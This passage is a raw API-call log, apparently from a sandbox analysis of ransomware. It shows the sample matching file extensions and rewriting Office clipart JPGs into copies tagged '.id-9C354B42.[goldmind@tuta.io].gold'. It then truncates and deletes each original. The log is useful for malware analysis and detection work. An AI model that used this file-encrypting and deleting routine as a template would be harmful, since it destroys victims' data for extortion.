lpString2=".JPG") returned 1 [0112.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0112.057] lstrlenW (lpString=".zip") returned 4 [0112.057] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.057] lstrlenW (lpString=".rar") returned 4 [0112.057] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.057] lstrlenW (lpString=".bz2") returned 4 [0112.057] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.057] lstrlenW (lpString=".7z") returned 3 [0112.057] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0112.057] lstrlenW (lpString=".dbf") returned 4 [0112.057] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0112.057] lstrlenW (lpString=".1cd") returned 4 [0112.057] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0112.057] lstrlenW (lpString=".jpg") returned 4 [0112.057] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0112.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0112.057] lstrlenW (lpString=".doc") returned 4 [0112.057] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.057] lstrlenW (lpString=".docx") returned 5 [0112.057] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0112.057] lstrlenW (lpString=".pdf") returned 4 [0112.057] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.057] lstrlenW (lpString=".xls") returned 4 [0112.057] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.057] lstrlenW (lpString=".xlsx") returned 5 [0112.057] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0112.057] lstrlenW (lpString=".ppt") returned 4 [0112.057] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0112.057] lstrlenW (lpString=".zip") returned 4 [0112.057] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.057] lstrlenW (lpString=".rar") returned 4 [0112.057] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.057] lstrlenW (lpString=".bz2") returned 4 [0112.057] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.057] lstrlenW (lpString=".7z") returned 3 [0112.057] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0112.057] lstrlenW (lpString=".dbf") returned 4 [0112.057] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0112.057] lstrlenW (lpString=".1cd") returned 4 [0112.057] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned 63 [0112.057] lstrlenW (lpString=".jpg") returned 4 [0112.057] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.058] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0112.058] lstrlenW (lpString="J0178348.JPG") returned 12 [0112.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.093] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=36989) returned 1 [0112.094] CloseHandle (hObject=0x380) returned 1 [0112.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg")) returned 0x20 [0112.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.094] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.094] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0112.095] GetLastError () returned 0x0 [0112.095] ReadFile (in: hFile=0x380, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x907d, lpOverlapped=0x0) returned 1 [0112.111] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x9080, lpOverlapped=0x0) returned 1 [0112.112] ReadFile (in: hFile=0x380, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.112] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.112] SetEndOfFile (hFile=0x3b8) returned 1 [0112.308] CloseHandle (hObject=0x3b8) returned 1 [0112.308] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.308] SetEndOfFile (hFile=0x380) returned 1 [0112.310] CloseHandle (hObject=0x380) returned 1 [0112.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg")) returned 1 [0112.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0112.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0112.312] lstrlenW (lpString=".doc") returned 4 [0112.312] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.312] lstrlenW (lpString=".docx") returned 5 [0112.312] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0112.312] lstrlenW (lpString=".pdf") returned 4 [0112.312] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.312] lstrlenW (lpString=".xls") returned 4 [0112.312] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.312] lstrlenW (lpString=".xlsx") returned 5 [0112.312] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0112.312] lstrlenW (lpString=".ppt") returned 4 [0112.312] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0112.312] lstrlenW (lpString=".zip") returned 4 [0112.312] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.312] lstrlenW (lpString=".rar") returned 4 [0112.312] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.312] lstrlenW (lpString=".bz2") returned 4 [0112.312] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.312] lstrlenW (lpString=".7z") returned 3 [0112.312] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0112.312] lstrlenW (lpString=".dbf") returned 4 [0112.312] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0112.312] lstrlenW (lpString=".1cd") returned 4 [0112.312] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0112.312] lstrlenW (lpString=".jpg") returned 4 [0112.312] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0112.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0112.312] lstrlenW (lpString=".doc") returned 4 [0112.312] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.312] lstrlenW (lpString=".docx") returned 5 [0112.312] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0112.312] lstrlenW (lpString=".pdf") returned 4 [0112.312] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.312] lstrlenW (lpString=".xls") returned 4 [0112.312] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.313] lstrlenW (lpString=".xlsx") returned 5 [0112.313] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0112.313] lstrlenW (lpString=".ppt") returned 4 [0112.313] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0112.313] lstrlenW (lpString=".zip") returned 4 [0112.313] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.313] lstrlenW (lpString=".rar") returned 4 [0112.313] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.313] lstrlenW (lpString=".bz2") returned 4 [0112.313] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.313] lstrlenW (lpString=".7z") returned 3 [0112.313] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0112.313] lstrlenW (lpString=".dbf") returned 4 [0112.313] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0112.313] lstrlenW (lpString=".1cd") returned 4 [0112.313] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0112.313] lstrlenW (lpString=".jpg") returned 4 [0112.313] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.313] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0112.313] lstrlenW (lpString="J0178523.JPG") returned 12 [0112.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.314] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=24034) returned 1 [0112.314] CloseHandle (hObject=0x380) returned 1 [0112.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg")) returned 0x20 [0112.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.315] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.315] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0112.316] GetLastError () returned 0x0 [0112.316] ReadFile (in: hFile=0x380, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x5de2, lpOverlapped=0x0) returned 1 [0112.318] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x5df0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x5df0, lpOverlapped=0x0) returned 1 [0112.319] ReadFile (in: hFile=0x380, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.319] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.319] SetEndOfFile (hFile=0x3b8) returned 1 [0112.319] CloseHandle (hObject=0x3b8) returned 1 [0112.319] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.319] SetEndOfFile (hFile=0x380) returned 1 [0112.321] CloseHandle (hObject=0x380) returned 1 [0112.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178523.jpg")) returned 1 [0112.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0112.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0112.322] lstrlenW (lpString=".doc") returned 4 [0112.322] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.322] lstrlenW (lpString=".docx") returned 5 [0112.322] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0112.322] lstrlenW (lpString=".pdf") returned 4 [0112.322] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.322] lstrlenW (lpString=".xls") returned 4 [0112.322] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.322] lstrlenW (lpString=".xlsx") returned 5 [0112.322] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0112.322] lstrlenW (lpString=".ppt") returned 4 [0112.322] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0112.322] lstrlenW (lpString=".zip") returned 4 [0112.322] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.322] lstrlenW (lpString=".rar") returned 4 [0112.322] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.323] lstrlenW (lpString=".bz2") returned 4 [0112.323] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.323] lstrlenW (lpString=".7z") returned 3 [0112.323] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0112.323] lstrlenW (lpString=".dbf") returned 4 [0112.323] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0112.323] lstrlenW (lpString=".1cd") returned 4 [0112.323] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0112.323] lstrlenW (lpString=".jpg") returned 4 [0112.323] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0112.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0112.323] lstrlenW (lpString=".doc") returned 4 [0112.323] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.323] lstrlenW (lpString=".docx") returned 5 [0112.323] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0112.323] lstrlenW (lpString=".pdf") returned 4 [0112.323] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.323] lstrlenW (lpString=".xls") returned 4 [0112.323] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.323] lstrlenW (lpString=".xlsx") returned 5 [0112.323] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0112.323] lstrlenW (lpString=".ppt") returned 4 [0112.323] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0112.323] lstrlenW (lpString=".zip") returned 4 [0112.323] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.323] lstrlenW (lpString=".rar") returned 4 [0112.323] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.323] lstrlenW (lpString=".bz2") returned 4 [0112.323] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.323] lstrlenW (lpString=".7z") returned 3 [0112.323] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0112.323] lstrlenW (lpString=".dbf") returned 4 [0112.323] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0112.323] lstrlenW (lpString=".1cd") returned 4 [0112.323] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0112.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178523.JPG") returned 63 [0112.323] lstrlenW (lpString=".jpg") returned 4 [0112.323] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0112.323] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0112.323] lstrlenW (lpString="J0178632.JPG") returned 12 [0112.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.324] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=23338) returned 1 [0112.324] CloseHandle (hObject=0x380) returned 1 [0112.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg")) returned 0x20 [0112.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0112.325] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.325] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0112.326] GetLastError () returned 0x0 [0112.326] ReadFile (in: hFile=0x380, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x5b2a, lpOverlapped=0x0) returned 1 [0112.327] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x5b30, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x5b30, lpOverlapped=0x0) returned 1 [0112.328] ReadFile (in: hFile=0x380, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0112.328] WriteFile (in: hFile=0x3b8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.328] SetEndOfFile (hFile=0x3b8) returned 1 [0112.328] CloseHandle (hObject=0x3b8) returned 1 [0112.328] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0112.328] SetEndOfFile (hFile=0x380) returned 1 [0112.330] CloseHandle (hObject=0x380) returned 1 [0112.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg")) returned 1 [0112.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0112.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0112.331] lstrlenW (lpString=".doc") returned 4 [0112.331] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0112.331] lstrlenW (lpString=".docx") returned 5 [0112.331] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0112.331] lstrlenW (lpString=".pdf") returned 4 [0112.331] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0112.331] lstrlenW (lpString=".xls") returned 4 [0112.331] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0112.331] lstrlenW (lpString=".xlsx") returned 5 [0112.331] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0112.331] lstrlenW (lpString=".ppt") returned 4 [0112.331] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0112.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0112.331] lstrlenW (lpString=".zip") returned 4 [0112.332] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0112.332] lstrlenW (lpString=".rar") returned 4 [0112.332] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0112.332] lstrlenW (lpString=".bz2") returned 4 [0112.332] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0112.332] lstrlenW (lpString=".7z") returned 3 [0112.332] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0112.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0112.332] lstrlenW (lpString=".dbf") returned 4 [0112.332] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0112.332] lstrlenW 